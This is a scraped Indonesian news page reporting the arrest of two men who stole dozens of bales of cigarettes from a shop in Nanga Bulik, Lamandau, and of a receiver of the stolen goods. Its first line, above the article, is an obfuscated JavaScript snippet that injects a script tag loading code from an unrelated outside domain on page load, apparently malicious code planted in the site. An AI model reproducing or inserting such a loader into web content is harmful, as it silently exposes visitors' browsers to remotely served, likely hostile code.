(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, NANGA BULIK – Personel Satreskrim Polres Lamandau berhasil mengungkap dan membekuk dua pencuri puluhan bal rokok berbagai merek dari sebuah toko kelontongan miliki warga di Jalan Jc Rangkap, Kelurahan Nanga Bulik, Kabupaten Lamandau, Kalimantan Tengah.
Kapolres Lamandau AKBP Bronto Budiyono SIK didampingi Kasatreskrim Iptu Faizal Firman Gani saat konferensi pers memgatakan, kedua tersangka tersebut berasal dari Kalimantan Barat, berinisial MS (43) dan AW (45), yang dibekuk di wilayah Kalimantan Selatan. Sementara pemilik toko atas nama Ana yang mengalami kerugian total mencapai Rp 66.910.000 karena kehilangan puluhan bal rokok. Rokok yang dicuri diantaranya Sampoerna Mild sebanyak 16 bal, Gudang Garam Surya 16 sebanyak 5 bal, dan rokok ON Bold sebanyak 6 bal.
Berdasarkan laporan yang diterima polisi pada Sabtu 11 Januari 2023 lalu, piket Polres Lamandau mendapat laporan resmi adanya pencurian di sebuah toko kelontongan di Kota Nanga Bulik. Lalu, bermodal dari hasil rekaman CCTV, terekam ciri-ciri kedua pelaku, mulai dari badan, wajah, pakaian pelaku.
Belakangan kedua pelaku kabur ke wilayah Banjarmasin, Kalsel, dan pada Jumat 24 Februari 2023, anggota Satreskrim Polres Lamandau dengan diback up anggota Jatanras Polda Kalteng, Intel Polda Kalteng, Jatanras Subdit III Polda Kalsel dan anggota Polsek Banjarmasin Utara melakukan pengejaran dan berhasil membekuk dua pelaku tersebut.
Baca juga: Jelang MTQ Nasional XXIX di Kalsel, Bandara Syamsudin Noor Mulai Kedatangan Kafilah
“Pengakuan kedua pelaku melakukan ini karena tidak memiliki pekerjaan dan penghasilan, terpaksa melakukan ini dengan cara mencuri,” ungkap Kapolres Lamandau.
Polisi kemudian melakukan pengembangan dan berhasil mengamankan TN (53) sebagai penadah rokok hasil curian, hasil pengakuan kedua tersangka yang ditangkap.
Barang bukti yang diamankan 1 buah linggis, 2 buah senter,
1 buah jaket warna creme, 1 buah jaket warna biru, 2 buah topi, 1 buah warna hitam merah, 1 buah tas pinggang, 1 buah ikat pinggang warna coklat, rokok Sampoerna sebanyak 3 slop, Rokok Surya 16 sebanyak 15 slop, Rokok On Bold sebanyak 20 slop.
“Pelaku dikenakan pasal 363 Ayat (2) dan pasal 480 KUHPidana dengan ancaman maksimal 9 tahun penjara dan pelaku penadah dapat di kenakan pasal 480 ke 1 dengan ancaman hukuman maksimal 4 tahun penjara,” pungkasnya.(Kanalkalimantan.com/habibullah)
Reporter: habibullah
Editor: kk
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.